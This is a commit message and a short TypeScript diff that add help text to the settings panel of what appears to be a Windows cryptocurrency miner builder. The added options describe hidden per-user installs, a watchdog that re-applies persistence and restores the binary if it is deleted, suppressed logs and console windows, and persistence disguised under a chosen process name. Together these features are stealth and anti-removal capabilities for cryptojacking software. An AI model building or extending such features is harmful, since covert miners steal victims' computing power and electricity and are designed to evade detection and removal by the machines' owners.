Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

server/web/src/help/settingHelp.ts

@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
+  adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
+  self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
+  file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
+  stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
 };